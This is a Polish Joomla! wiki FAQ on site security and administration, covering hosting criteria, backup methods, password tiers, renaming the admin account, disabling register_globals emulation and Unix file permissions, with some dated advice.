--=REKLAMA=--

FAQ. Bezpieczeństwo i wydajność

Z Joomla!WikiPL

Spis treści

Zaczynamy

Czy oprogramowanie GNU i Open Source jest kosztowne i ryzykowne?

Bardzo trudna jeżeli nie niemożliwa, jest argumentacja przeciw propozycji oprogramowania na licencji GNU i Open Source, chociaż [http://www.catb.org/~esr/halloween/ niektórzy próbują. Przy braku opłat licencyjnych, niewielkiej administracji zarządzania projektem, wysokiej jakości kodem, częstych wydaniach bezpieczeństwa, które są rozpowszechniane w minuty lub godziny, a nie w miesiące czy w cyklach marketingowych, bezpłatnym wsparciu online od tysięcy wysokiej klasy dewelopeerów i użytkowników, oferta GNU i Open Source jest często najlepszym rozwiązaniem. Tego nie można kwestionować.

Aplikacje Industry Leader Koszt
GNU/Linux Tak 0
Apache serwery sieciowe Tak 0
MySQL bazy danych Tak 0
PHP język skryptowy Tak 0
Joomla! System Zarządzania Treścią Tak 0
Tysiące rozszerzeń Varies 0
Wsparcie Względna jakość Koszt
Joomla! Project Leadership Team Wysoka 0
Dynamika dystrybucji Wysoka 0
Joomla! Online Fora Wysoka 0
Joomla! Dokumentacja Średnia 0
Tysiące ochotników Wysoka 0
Płatne profesjonalne wsparcie Szeroko dostępna 0
Razem   0


Czym są listy kontrolne bezpiecznego administrowania witryną?

Listy kontrolne bezpiecznego administrowania Joomla! są zwięzłym wyborem najlepszych wskazówek, czasem dowcipnych, zebranych od wielu współpracowników na forach internetowych. Przejrzyj je przed pierwszą instalacją Joomla!


Czy istnieje lista 10 najgłupszych sztuczek administratorów?

Bardzo dobre pytanie - szkoda, że nie zawsze zadane w porę! Mamy zaszczyt zaprezentować 10 najgłupszych sztuczek administratora Joomla!.

Jak znaleźć najlepszego dostawcę serwera?

Poniższa lista wyszczególnia kryteria wyboru dostawcy usługi hostingowej podyktowane względami bezpieczeństwa. Poza względami bezpieczeństwa Twoje wymagania mogą obejmować dostęp do powłoki, programu cron, bezpiecznego łącza (SSL) itp.

  1. Wybierz *NIX: Joomla! wymaga do działania co najmniej PHP i MySQL, które najlepiej spisują się w środowisku serwera Apache. A ponieważ trio Apache/PHP/MySQL najlepiej działają na serwerach Uniksowych albo Linuksowych wybierz usługodawcę, który oferuje te opcje.
  2. Bezpieczne FTP: Preferuj dostawców, którzy zapewniają przesyłanie plików przez protokół SFTP ("Secure FTP – Bezpieczne FTP). Szyfrowanie transmisji chroni przed przechwyceniem twoich danych, w tym nazwy i hasła użytkownika, przesyłanych w przypadku protokołu FTP otwartym czystym tekstem.
  3. Wyłączone register_globals: Usługodawcy najbardziej świadomi problemów bezpieczeństwa oferują PHP skonfigurowane tak, że dyrektywa register_globals jest domyślnie ustawiona na OFF. Tuż za nimi plasują się usługodawcy, którzy pozwalają wyłączyć rejestrację zmiennych globalnych za pomocą plików .htaccess albo php.ini. Z usługodawcy, który nie pozwala wyłączyć register_globals, trzeba zrezygnować. Ustawienia register_globals mogą wymagać skrypty przygotowane w PHP4, Joomla! jest kodowany w PHP5. Jeśli jakieś rozszerzenia wymagają włączonej rejestracji zmiennych globalnych, popraw je jak najszybciej albo zastąp nowocześniejszymi. Warto wiedzieć, że w PHP6 w ogóle nie będzie możliwości stosowania tego ustawienia.
  4. Elastyczność PHP: Ponieważ możesz trafić na skrypty rozszerzeń nieprzystosowane do zmian wprowadzonych w PHP5, wymagające do poprawnego działania PHP4, wybierz usługodawcę, który udostępnia równolegle dwa środowiska – PHP4 i PHP5 i pozwala na ich przełączanie za pomocą pliku .htaccess.
  5. Najnowsze oprogramowanie: Wybierz usługodawcę, który aktualizuje oprogramowanie serwera, zapewniając najnowsze wersje oprogramowania, włączając w to system operacyjny, bazy danych, języki skryptowe.
  6. Unikaj tanich współdzielonych serwerów: Jeśli korzystasz z serwera współdzielonego, upewnij się że jego użytkownicy nie mają dostępu do plików lub baz danych spoza swojego konta, np. przez konto shellowe lub program typu cPanel.
  7. Odpowiedzialne zarządzanie serwerem: Wybierz usługodawcę gotowego do kompromisów w rozwiązywaniu problemów bezpieczeństwa, a nie po prostu blokującego witrynę. Sprawdź na forum opinie i uwagi użytkowników, by poznać możliwe reakcje. Przyjazny usługodawca może np. natychmiast poinformować o zagrożeniach, podda kwarantannie problematyczne pliki czy skrypty. Gorszy po prostu zablokuje Twoją stronę i dostarczy ubogiej informacji o powodach. Uważaj, jest wiele takich przypadków.
  8. Dostęp do dzienników zdarzeń: Wybierz usługodawcę, który zapewnia Ci dostęp do dzienników zdarzeń („logów” serwera). Przeglądanie Dzienników zdarzeń jest ważnym elementem profilaktyki bezpieczeństwa i przywracania uszkodzonych witryn.
  9. Gwarancja wydajności: Wybierz usługodawcę, który ilość użytkowników korzystających z jednej maszyny oraz przeciętne obciążenie CPU ogranicza do sensownej wielkości (zależnie od sprzętu). Upewnij się, że usługodawca prowadzi aktywną politykę przenoszenia witryn, jeśli konieczne jest zrównoważenie obciążenia. Korzystając ze zwrotnego wyszukiwania IP sprawdź ilość domen na serwerze.
  10. Własne centra danych: wybierz usługodawcę, który dysponuje własną serwerownią. Firmy z własnym Data Center są bardziej wiarygodne, nie znikną z rynku po kilku czy kilkunastu miesiącach nieudanego debiutu. Sprawdź infrastrukturę centrum danych, np. prędkość połączenia, możliwość szybkiego backupu (hot swappable backups), pełne codzienne kopie zapasowe, środowisko i prawa dostępu, awaryjność, etc.
  11. Dobre sąsiedztwo: Wybierz usługodawcę, który chroni swoje serwery przed pornografią i spamem. Sprawdź, czy Twój usługodawca nie jest zagrożony zablokowaniem adresów IP z powodu hostowania witryn pornograficznych i spamerskich.


Jakie są najlepsze praktyki sporządzania kopii bezpieczeństwa?

Są trzy tradycyjne metody kopiowania: - pełne, kumulatywne i różnicowe.

Pełna kopia

Całkowite kopiowanie wszystkich plików w określonym punkcie czasu.
Obie następne metody uważane są za stopniowe (częściowe), obie mogą być używane niezależnie od siebie albo razem w połączeniu ze sobą, ale zawsze w odniesieniu wstecz do PEŁNEJ kopii.

Kopiowanie kumulatywne

Polega na kopiowaniu różnic powstałych od wykonania ostatniej pełnej kopii, a więc każde kolejne kopiowanie dotyczy coraz większej ilości plików, ponieważ kumulują się one od daty ostatniego pełnego kopiowania.

Kopiowanie stopniowe

Polega na kopiowaniu zmian od ostatniej kopii dowolnego typu; pełnego, kumulatywnego lub stopniowego.
Jeżeli twoja strona nie jest zbyt duża, wtedy metoda pełnego kopiowania jest dobrym rozwiązaniem, przynajmniej raz na tydzień. Jeżeli natomiast zawartość jest zmieniana regularnie lub nie może być łatwo odtworzona, lub odtworzenie jest kosztowne, bardziej efektywne będzie kopiowanie raz na dobę lub jeszcze częściej.
Jeżeli brakuje czasu, parametry serwera są ograniczone, albo tempo wymiany danych jest zbyt wysokie by kopiować raz na dobę, wtedy należy wprowadzić kopiowanie stopniowe.
Jeżeli wybierzesz kopiowanie kumulatywne przy pełnej kopii raz na tydzień, codobowe kopiowanie przebiegnie szybciej niż pełne, Jednakże z upływem dni tygodnia zwiększać się będzie czas i ilość kopiowanego materiału, ponieważ kopie te odnoszą się do ostatniej pełnej kopii. Zaletą tej metody kopiowania w połączeniu z kopiowaniem pełnym, jest szybkość odtworzenia. Aby odtworzyć stronę, potrzebujesz nadpisać ostatnią pełną kopię tylko z ostatnimi zmianami kumulatywnymi.
Jeżeli brakuje czasu, parametry serwera są ograniczone, albo tempo wymiany danych nie pozwalają na kopiowanie kumulatywne, przejdź do kopiowania różnicowego, Ta metoda w połączeniu z kopiowaniem pełnym zapewni podobny poziom bezpieczeństwa, ale odtworzenie będzie wolniejsze. Kopie różnicowe zapisują tylko zmiany danych od ostatniej kopii dowolnego typu, a nie od ostatniego pełnego kopiowania, tak jak w przypadku metody kumulatywnej. Dlatego przy odtwarzaniu danych musisz najpierw odtworzyć pełną kopię, a potem po kolei każdą kopię różnicową (najstarsza jako pierwsza), aby zapewnić odtworzenie całej informacji. Metoda ta ma także negatywny wpływ na każdy celowo skasowany plik, potencjalnie powodując przesycenie ("over-filling" ) systemu plików.

Najlepsze praktyki zabezpieczenia danych mówią;

  1. Zawsze powinieneś być w stanie odtworzyć witrynę z katastrofy co najmniej z dwóch ostatnich pełnych kopii. To na wypadek gdyby najmłodsza kopia została zniszczona, utracona, lub uszkodzona.
  2. Prawidłowy reżim kopiowania powinien zapewniać przynajmniej jedną pełną kopię w wybranym cyklu, np. raz na tydzień.
  3. Dobrą praktyką jest zapisywanie kopii z dala od lokalizacji bieżących danych, najlepiej poza zasobami roboczymi.
  4. Dane dynamiczne powinny być kopiowane offline albo hot aby uniknąć kopii niepełnych (dane zmieniają się w czasie kopiowania, potencjalnie prowadząc do braku synchronizacji w czasie zapisu).

Zobacz także


Gdzie znajdę informacje o niepewnych rozszerzeniach?

Gdzie znajdę informacje o prawach dostępu do plików?


Na czym polega system mocnych haseł?

Przegląd

Większość użytkowników nie będzie potrzebować więcej niż trzech poziomów haseł, projektanci stron nie więcej niż pięciu. Żaden poziom nie może wiązać się w żadnym stopniu z innymi, w sensie nazw użytkowników i haseł.

Wskazania

  • Poziom 5 (Publiczny) - hasła stosowane dla witryn publicznych. Nie ma przymusu, byś używał różnych haseł dla każdej strony. W rzeczywistości ważniejsze jest, byś używał różnych nazw użytkowników dla różnych stron niż różnych haseł! Znajomość nazwy użytkownika to połowa roboty dla włamywacza, znajomość hasła jest bezużyteczna bez znajomości nazwy konta! Przykładowo hasło tego poziomu może składać się z minimum 6 znaków bez konieczności stosowania znaków specjalnych, i powinno być zmieniane nie rzadziej niż co 30 dni.
  • Poziom 4 (Administratorzy stron) - Zarezerwowane tylko dla SQL i tylko dla konkretnej bazy danych. Najlepszym sposobem zwiększenia bezpieczeństwa SQL jest utworzenie oddzielnych, ograniczonych w pojemności (dla określonych wymagań) kont. W pewnych przypadkach warto nawet utworzyć oddzielne konto tylko do odczytu, i oddzielne do zapisu, które używa funkcji zapisu od zaplecza. Tego oczywiście nie stosuje się w Joomla! gdzie najlepszą praktyką jest utworzenie indywidualnego konta (oczywiście nie w katalogu publicznym), które zezwala na odczyt i zapis tylko dla systemu Joomla!. Użytkownicy serwerów współdzielonych muszą w tej sprawie kontaktować się ze swoimi dostawcami. Przykładowe hasło tego poziomu może składać się z minimum z 10 znaków, zawierać małe i wielkie litery oraz cyfry lub znaki specjalne i powinno być zmieniane także co 30 dni.
  • Poziom 3 (Administratorzy stron) - Podobny do poziomu 4, przeznaczony dla dostępu do serwerów i dla klientów FTP. Nie wolno stosować haseł takich samych, jak nazwa użytkownika, ani tego samego zestawu dla FTP, jak i dla panelu administracyjnego konta hosta, choć wzajemne zagrożenie jest tu oczywiste, nie ma znaczenia, czy włamanie nastąpi przez FTP, czy przez panel administracyjny konta, zniszczenia będą takie same. Budowa hasła podobna jak na poziomie 4.
  • Poziom 2 (Dostęp do danych osobowych) - należy je stosować dla stron zawierających dane osobowe (za wyjątkiem bankowości, gdzie należy stosować jeszcze wyższy poziom), m.in. takich, jak strony z danymi medycznymi, danymi poszukujących pracy, rejestrowane usługi itp. Przykładowe hasło tego poziomu może składać się z minimum 15 znaków, zawierać małe i wielkie litery oraz cyfry lub znaki specjalne i powinno być zmieniane co dwa tygodnie.
  • Poziom 1 (Bankowość!) - to najwyższy stopień zabezpieczenia. Sugerowana długość hasła to minimum 18 znaków zawierających małe i wielkie litery oraz cyfry lub znaki specjalne, zmiana także co dwa tygodnie.

Zobacz także


Trzon Joomla!

Jak sprawdzić bezpieczeństwo swojej instalacji Joomla?

Zastosuj bezpłatne rozszerzenie Joomla! Tools Suite (JTS), które jest środowiskowym audytem Joomla!, aplikacją utrzymania i diagnostyki systemu napisaną w PHP. Zestaw narzędzi JTS może diagnozować, raportować i doradzać w zwykłych instalacjach, co do spraw działania i bezpieczeństwa, włącznie z przeprowadzeniem kilku prostych działań naprawczych i związanych z wydajnością.

Witryna projektu: http://joomlacode.org/gf/project/jts/

Jak umieścić na stronie startowej zaplecza kanał RSS Bezpieczny Joomla!?

  1. Zaloguj się na zaplecze
  2. Z rozwijanego menu wybierz Rozszerzenia -> Moduły (Extensions -> Module Manager)
  3. Z podmenu wybierz kartę Administrator
  4. Kliknij w przyborniku (u góry, po prawej) ikonę Nowy
  5. Wyszukaj i zaznacz moduł Feeds Display
  6. W edytorze konfiguracji modułu ustal szczegóły (Tytuł (np: Bezpieczeństwo) oraz minimalną ilość wiadomości)
  7. Wpisz adres kanału RSS http://feeds.joomla.org/JoomlaSecurityNews
  8. Wybierz pozycję na stronie startowej zaplecza
  9. Opcjonalnie naciśnij w przyborniku ikonę Zastosuj i ustal kolejność wyświetlania modułu
  10. Zachowaj ustawienia, klikając w przyborniku przycisk Zapisz
  11. Wróć na stronę startową zaplecza (w menu Witryna -> Strona startowa), by przekonać się, czy dodany moduł działa.
Tę technikę możesz wykorzystać w kontaktach z klientami, umieszczając na stronie startowej własny moduł "Aktualizacje dla Klientów". To wyśmienity sposób komunikowania się z klientami. Zawsze po zalogowaniu się na zaplecze swojej witryny zobaczą najnowsze adresowane do nich wiadomości.

Dlaczego konieczna jest natychmiastowa zmiana nazwy głównego administratora?

Przegląd

W każdej nowej instalacji Joomla! tworzone jest jedno konto głównego administratora z nazwą użytkownika admin. Instalator Joomla! prosi jedynie o podanie hasła. Takie rozwiązanie upraszcza przebieg instalacji, ale nie jest zbyt bezpieczne. Ułatwia ewentualnym napastnikom zadanie - pozostaje do odgadnięcia tylko 50% danych najważniejszego konta.

Natychmiastowa zmiana nazwy podnosi znacznie poziom bezpieczeństwa. Jeśli jakiś włamywacz zechce uzyskać dostęp do zaplecza, będzie musiał podać zarówno prawidłową nazwę, jak i prawidłowe hasło.

Kierunki

  1. Zaloguj się do panelu administracyjnego
  2. Wybierz z menu nawigacyjnego opcję Witryna- > Użytkownicy
  3. Otwórz edytor szczegółów konta głównego administratora
  4. Zmień nazwę użytkownika z admin na inną, złożoną z mieszaniny liter i cyfr, najlepiej co najmniej 8 znaków.
  5. Zapisz
  6. Zapamiętaj nową nazwę użytkownika!


Dlaczego nie wygasają sesje zalogowanych na zapleczu?

Kiedy edytujesz jakąś pozycję z zaplecza, uruchamiany jest czynny skrypt który utrzymuje aktywność sesji. W wielu wypadkch to duża wygoda zapobiegająca utracie wpisanych czasie w edycji danych, jeżeli zbyt długo zwlekasz z ich zapisaniem do zawartości. Jednakże pojawia się tu kilka spraw związanych z bezpieczeństwem których powinieneś być świadomy:

  1. Jeżeli w czasie edycji zawartości odejdziesz od komputera, ktoś może użyć go do zaatakowania witryny.
  2. W związku z ryzykiem ataku CSRF (Cross-Site Request Forgery) (CSRF) nie jest dobrym pomysłem przeglądanie internetu w innej przeglądarce lub zakładce w czasie gdy twoja sesja administratora Joomla! jest aktywna. Joomla! jest odporny na takie ataki, ale możliwe jest jednak, że istnieje jeszcze nieujawnione zagrożenie w samym jądrze Joomla!, rozszerzeniu napisanym przez osoby trzecie, lub w samej przeglądarce.

Jak wyłączyć RG_EMULATION? Compat 10.png

Przegląd

Dyrektywa register_globals w PHP jest być może najsłynniejszym pomysłem. Z punktu widzenia bezpieczeństwa - złym pomysłem. Skłania ona autorów do niechlujnego pisania kodów i wystawia wiele skryptów na niepotrzebne ryzyko. Przyczyną jest bezpośrednie przekazywanie do skryptu zmiennych przychodzących od użytkownika, a to łamie podstawową zasadę - nigdy nie wierz poleceniom, danym ani informacjom przekazywanym od użytkownika.
Register Globals została oficialnie zaniechana w PHP5, i począwszy od PHP6 nie będzie więcej implementowana. To wspaniale!
Joomla! 1.0.x używa funkcji RG_Emulation, która jest w pewnym zakresie bezpieczniejsza niż standardowa register_globals, ale to nie zmienia postaci rzeczy: najlepszym rozwiązaniem jest rezygnacja z jakiejkolwiek formy automatycznego przyporządkowywania zmiennych. Zdarza się, że źle napisane rozszerzenia mogą nie działać przy wyłączonej register_globals. Jest to znak, że rozszerzenie nie sprawdza we właściwy sposób wywołań użytkownika. Najlepsza rada - nie używajcie takich rozszerzeń.

Joomla! 1.5

Emuluje register_globals=off. Zapobiega to możliwym do tej pory atakom na witryny Joomla!.

Joomla 1.0.15

W tej wersji zmiana dokonywana jest z poziomu panelu administracyjnego w konfiguracji.

Joomla! 1.0.13

Poczynając od wydania 1.0.13, funkcja Register Globals Emulation została przesunięta do głównego pliku konfiguracyjnego i może być włączana/wyłączana z panelu administratora.

Joomla! 1.0.12 i wcześniejsze

Wyedytuj plik globals.php, znajdujący się w głównym katalogu Joomla!. Gdzieś w okolicach linii nr 23 zmień:
define('RG_EMULATION',1)
na
define('RG_EMULATION',0)

Co oznaczają błędy Error 1, Error 2 i Error 3?

Error 1 = FATAL ERROR: MySQL not supported...

Nieskompilowany w PHP moduł wsparcia dla MySQL albo serwer MySQL nie działa.

Error 2 = FATAL ERROR: Connection to database ...

Joomla! nie może połączyć się z bazą danych, najprawdopodobniej zrobiłeś mały błąd (literówkę) przy wpisywaniu do pliku configuration.php nazwy użytkownika lub hasła, lub też próbujesz uzyskac dostęp do bazy danych z niewłaściwym prefiksem jej tabel.

Error 3 = FATAL ERROR: Database not found...

Nie można odnaleźć bazy danych, sprawdź jej ustawienia w configuration.php

Aby zlikwidować ten problem należy zmodyfikować zmienne MySQL w pliku configuration.php (znajdującym się w katalogu głównym Joomla!).

Dla Joomla! 1.0.xx

$mosConfig_host = 'localhost';
$mosConfig_user = 'accountname__username';
$mosConfig_password = 'userpassword';
$mosConfig_db = 'accountname_dbName';
$mosConfig_dbprefix = 'jos_';

Modyfikacja $mosConfig_host na adres IP zdalnego hosta działa w środowisku gdzie serwer MySQL jest oddzielony od serwera klienta.

Jak działają prawa dostępu do plików w UNIX?

Prawa dostępu do plików w systemach Unix/Linux mogą wydawać się zagmatwane. Są trzy podstawowe rodzaje praw w systemie UNIX;

Prawa właściciela (Owner) : regulują Twój dostęp do plików.
Prawa grupy       (Group) : regulują Twój dostęp i dostęp członków Twojej grupy.
Inne prawa        (Other) : regulują dostęp dla wszystkich innych.

W systemie UNIX, kiedy prawa zostaną skonfigurowane, serwer zezwala ci na definiowanie różnych praw dla każdej z tych trzech kategorii użytkowników. W środowisku serwera sieciowego prawa te określają, którzy właściciele witryn mają dostęp do jakich katalogów i plików?

Jak wygląda zapis praw dostępu w UNIX?

Kiedy przeglądasz swoje pliki przez klienta FTP lub z wiersza poleceń serwera, zobaczysz coś takiego:

filename.php username usergroup rwx r-x r-x

Pierwszy człon to nazwa pliku, następny to Twoja nazwa użytkownika na serwerze, kolejny to nazwa grupy, której jesteś członkiem, i ostatni to prawa przyporządkowane do danego pliku (lub katalogu). Zwróć uwagę, że celowo rozdzieliłem spacjami ostatni człon. Zgrupowałem 9 znaków w trzy grupy po 3 znaki. To rozdzielenie jest kluczem do zrozumienia, jak działają prawa dostępu. Pierwszy zestaw 3 znaków (rwx) odnosi się do użytkownika, drugi zestaw (r-x) do grupy, a trzeci (r-x) do kogokolwiek, kto nie jest użytkownikiem ani członkiem grupy.

Nazwa użytkownika (username) odnosi się do właściciela (użytkownika)

Właściciel (użytkownik) to Ty, te prawa dostępu zostaną skonfigurowane pod nazwą Twojego konta na serwerze.

Nazwa grupy (usergroup) odnosi się do grupy

Prawa dostępu dla grupy zostaną skonfigurowane dla osób, które są w tej samej grupie co Ty, w ramach środowiska serwera, ale bardzo rzadko rozszerza się grupę o inne osoby. Taka praktyka chroni Twoje pliki i katalogi przed dostępem kogokolwiek, kto posiada konto na tym samym serwerze, co Ty.

Nazwa "Inni" (Other) odnosi się do każdego innego

Prawa dostępu dla innych, są skonfigurowane dla tych, którzy nie są użytkownikiem (Tobą), ani członkami Twojej grupy. Pamiętając o tym, że z reguły nikt inny nie jest członkiem Twojej grupy, prawa te regulują dostęp dla tego, kto próbuje uzyskać dostęp do serwera oprócz Ciebie. Każdy z tych trzech zestawów praw jest definiowany w następujący sposób.

r = prawo do czytania (Read)
w = prawo do zapisu (Write)
x = prawo do uruchamiania (eXecute)
Właściciel  Grupa     Inni
  r w x     r w x     r w x

Jak wielu z Was już wie, prawa są normalnie wyrażane przez wartość numeryczną, coś jak 755 czy 644. Jaki związek ma to z tym, co przedstawiliśmy wyżej? Każdy znak prawa jest przyporządkowany do wartości numerycznej, takie samo przyporządkowanie jest w każdym zestawie, tak więc możemy używać tylko trzech wartości numerycznych w każdym zestawie.

Właściciel   Grupa   Inni
  r w x      r w x   r w x
  4 2 1      4 2 1   4 2 1

Teraz mamy wartość która odzwierciedla dane prawo, możemy je wyrazić w sposób numeryczny. Wartości te w każdym zestawie są dodawane, co daje nam trzy cyfry - po jednej dla każdego zestawu - które określają dane prawo. Jeżeli mówimy, że plik ma prawa 777 to to, co zapisano niżej, jest prawdziwe:

Właściciel   Grupa   Inni
  r w x      r w x   r w x
  4 2 1      4 2 1   4 2 1

Bo...

  4+2+1 4+2+1 4+2+1
=   7     7     7

Właściciel pliku miałby w tym przypadku prawo czytać (Read), zapisywać (Write) i uruchamiać (Execute) dany plik, każdy członek grupy miałby również takie same prawa, a także identyczne mieliby inni. Standardowe, domyślne prawa, jakie serwer przyporządkowuje do plików i katalogów są następujące:

Pliki = 644
Katalogi = 755

Te prawa zezwolą na działania na plikach;

644 = rw- r-- r--
Właściciel może czytać (Read) i zapisywać (Write)
Grupa może tylko czytać (Read)
Inni mogą tylko czytać (Read)

i dla katalogów;

755 = rwx r-x r-x
Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (Execute)
Grupa może tylko czytać (Read) i uruchamiać (eXecute)
Inni mogą tylko czytać (Read) i uruchamiać (eXecute)

Teraz sprawy się nieco komplikują, jeżeli mówimy o serwerach współdzielonych, oprogramowanie serwera będzie uruchamiane ze swoimi własnymi nazwami użytkownika i grupy, większość serwerów jest skonfigurowana w ten sposób, że używają nazw "apache" i "apache" lub "nobody" i "nobody" jako nazwy użytkownika i odpowiednio grupy. I tu powstaje problem. Twój serwer działa jako swój własny użytkownik, i ten użytkownik to nie Ty, ani nie Twoja grupa, tak więc dwa pierwsze zestawy praw do niego się nie stosują, a jedynie stosuje się zestaw inni (Other)(albo świat). Dlatego, jeśli skonfigurujesz zestaw praw 640 dla Twoich plików, Twój serwer nie będzie w stanie ich uruchomić.

640 = rw- r-- ---
Właściciel może czytać (Read) i zapisywać (Write)
Grupa może tylko czytać (Read)
Inni (serwer) nie mają żadnych praw

Serwerowi nie przyporządkowano żadnych praw, nie może on zapisywać ani uruchamiać plików, a co ważniejsze nawet ich czytać, żeby móc dostarczyć ich zawartość przeglądarce internauty. Jeżeli katalogowi zostaną przyporządkowane prawa 750, da to taki sam efekt, ponieważ serwer nie ma prawa czytać plików w tym katalogu, nawet, jeśli te pliki mają ustawione prawa zezwalające na czytanie.

750 = rw- r-x ---
Właściciel może czytać (Read) i zapisywać (Write)
Grupa może tylko czytać (Read) i uruchamiać (eXecute)
Inni (serwer) nie mają żadnych praw

Katalogi mają pewną ciekawą cechę, jeżeli katalog nie ma ustawionego prawa do Uruchamiania (eXecute) w zestawie Inni (Other) - wtedy, gdy nawet są ustawione prawa czytania (Read) i zapisu (Write) - to jeżeli program nie jest użytkownikiem ani członkiem grupy, nie otrzyma prawa dostępu do plików znajdujących się w tym katalogu. Ustawienie uruchom (eXecute) pozwala programowi "uruchamiać" nie tylko pliki, ale także polecenia w danym katalogu, więc bez tego prawa program nie może uruchomić polecenia czytaj (Read), co powoduje, że nie może dostarczyć pliku do przeglądarki.

Co to ma wspólnego z Joomla!?

Dobre pytanie, hmm..., w pierwszym podejściu będzie miało to znaczenie przy instalacji systemu. Przypomnij sobie, że w czasie uruchomienia instalatora szukaliśmy określonych katalogów, które miały być zapisywalne. Mieliśmy wiele postów, w których zgłaszano problemy związane z prawami dostępu przy instalacji, lub w których pytano, jak te prawa ustawić. Niektórzy uważali nawet, że komunikat pytający o prawo do "zapisywalności" jest niezbyt jasny.

Niestety, instalator Joomla! nie wie, jak skonfigurowany jest Twój serwer, dlatego nie może działać bardziej precyzyjnie, jednakże jeżeli zrozumiesz system ustawiania praw dostępu i będziesz wiedział trochę o środowisku serwerów sieciowych, zrozumiesz także, że termin "zapisywalny" jest w rzeczywistości bardzo dokładny i bardziej niż odpowiedni dla potrzeb Joomla!. Cofając się do wyżej podanych informacji, przypomnij sobie o trzech miejscach gdzie prawo zapisu (Write) może zostać ustawione;

Właściciel zapisywalny (Write)
Grupa      zapisywalny (Write)
Inni       zapisywalny (Write)

Pamiętaj także, że serwer sieciowy generalnie nie pracuje jako Twój użytkownik, ani w tej samej grupie. Kiedy uruchamiasz instalatora Joomla! z przeglądarki, to serwer próbuje uzyskać dostęp do plików, dlatego zestaw praw dla inni (Other) ma tu znaczenie. Jeżeli zestaw praw inni (Other) nie zezwoli serwerowi czytać (Read), zapisywać (Write) lub uruchamiać (Execute) poleceń w katalogach Joomla!, otrzymasz komunikat, że te katalogi są niezapisywalne.

W tej sytuacji będziesz musiał skonfigurować prawa dla inni (Other) na "7" dla katalogów wylistowanych w instalatorze. Tak więc ogólnie prawa mogą być ustawione np. na 757, w najgorszym przypadku możesz potrzebować ustawienia 777. Te bardzo otwarte ustawienie powinno być ustawione na powrót (cofnięte) na 755 zaraz po zakończeniu pracy instalatora, aby chronić Twoje katalogi i pliki.

757 = rwx r-x rwx
Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Grupa      może czytać (Read) i uruchamiać (eXecute)
Inni       mogą czytać (Read), zapisywać (Write) i uruchamiać (eXecute)

Żeby to jeszcze bardziej skomplikować wielu dostawców usług internetowych używa oprogramowania nazywanego phpsuExec albo suExec, te narzędzia zmieniają sposób działania serwera, który w tym przypadku pracuje pod Twoją nazwą użytkownika. Użycie praw dla inni (Other) może nie być wymagane, teraz wystarczy, że skonfigurujesz swoje katalogi jako "zapisywalne" tylko dla Twojego użytkownika i Twojej grupy. W tym przypadku wystarczy ustawić prawa dla katalogów na 755 lub 775, zamiast na 757 czy 777.

755 = rwx r-x r-x
Właściciel  może czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Grupa       może czytać (Read) i uruchamiać (eXecute)
Inni        mogą czytać (Read) i uruchamiać (eXecute)
775 = rwx rwx r-x 
Właściciel  może czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Grupa       może czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Inni        mogą czytać (Read) i uruchamiać (eXecute)

Serwer sieciowy wciąż potrzebuje ustawienia uruchamiaj (eXecute) dla użytkownika, oraz czytaj (Read), uruchamiaj (eXecute) dla grupy, dlatego może wydawać polecenia uruchamiania i czytania na plikach wewnątrz katalogu. I znowu, ten zestaw praw może być cofnięty do 755 po ukończeniu instalacji.

To podstawowe zasady, co do katalogów, a co z plikami? Tu jest nieco prościej. Większości plików, które używa Joomla! wystarczy ustawienie praw na domyślne 644.

644 = rw- r-- r-- 
Właściciel może czytać (Read) i zapisywać (Write)
Grupa      może czytać (Read)
Inni       mogą czytać (Read)

To działa, jeżeli nie masz potrzeby zapisywania do plików z poziomu serwera sieciowego, te same zasady dotyczą katalogów. Jednym plikiem, który może być "zapisywalny" dla serwera, jest twój configuration.php. To plik konfiguracyjny Joomla!, jeżeli planujesz zmianę konfiguracji przez interfejs administratora serwera, wtedy ten plik musi być zapisywalny dla Twojego serwera.

Jeżeli Twój serwer wymaga dla instalacji, aby ustawić prawa dla inni (Other) na zapisywalne (Write), wtedy prawa dla configuration.php powinny być ustawione na 757 lub 777. Pozostawienie ustawień dla tego pliku na 757 lub na 777 jest niebezpieczne, ponieważ pozwalasz każdemu na dostęp do zapisu (Write), wiele sieciowych exploitów wykorzystuje ten fakt, nie zaleca się pozostawienie tych ustawień dla configuration.php.

Jeżeli na Twoim serwerze zainstalowano jedno z narzędzi SU (switch user - przełącznik użytkowników), i dla katalogów wystarczy przy instalacji ustawienie 755, prawa dla configuration.php będziesz prawdopodobnie musiał ustawić na 755 lub 775, aby zezwolić jego edycję przez interfejs administratora, a te ustawienia są uważane za generalnie bardziej bezpieczne niż 757 lub 777.

W końcu jakie ustawienia powinny zostać zastosowane dla instalacji Joomla!? Jak widzisz, to zależy od kilku czynników!

Wiem, że to wszystko nie jest tak pomocne jak byś oczekiwał, i nie ma definitywnej odpowiedzi, ale generalnie po instalacji, każde niebezpieczne ustawienie typu "7" powinno być cofnięte na bardziej bezpieczne. Na przykład: Pliki = 644 Katalogi = 755

Te ustawienia powinny pozwolić, dla plików:

644 = rw- r-- r--
Właściciel może czytać (Read) i zapisywać (Write)
Grupa      może tylko czytać (Read)
Inni       mogą tylko czytać (Read)

i dla katalogów

755 = rwx r-x r-x 
Właściciel może czytać (Read), zapisywać (Write) i uruchamiać (eXecute)
Grupa      może tylko czytać (Read) i uruchamiać (eXecute)
Inni       mogą tylko Cczytać (Read) i uruchamiać (eXecute)

Jeżeli masz dostęp do powłoki SSH, możesz uruchomić następujące polecenia z wiersza poleceń, resetujące ustawienia praw dla wszystkich plików i katalogów na odpowiednio 644 i 755. Przejdź do głównego katalogu instalacji Joomla! i uruchom:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

Jeżeli masz tylko dostęp przez FTP, to praca ta może zabrać ci trochę czasu, jednakże, jeżeli podczas instalacji nie zmieniłeś praw dla większej ilości katalogów niż było wymagane, to teraz powinieneś cofnąć prawa dla około 10 katalogów i pliku configuration.php

Pamiętaj, aby zainstalować jakiekolwiek rozszerzenie lub szablon już po instalacji Joomla!, będziesz musiał zmienić domyślne prawa na określonych katalogach na czas tej instalacji, które potem możesz wycofać do poprzedniego stanu.

Jeżeli zdecydujesz się używać pamięci podręcznej - cache, katalog cache musi być ustawiony na zapisywalny (Write) przez serwer, aby pozwolić na zapisywanie plików tymczasowych.

Jakie są zalecane ustawienia praw dostępu do plików i katalogów??

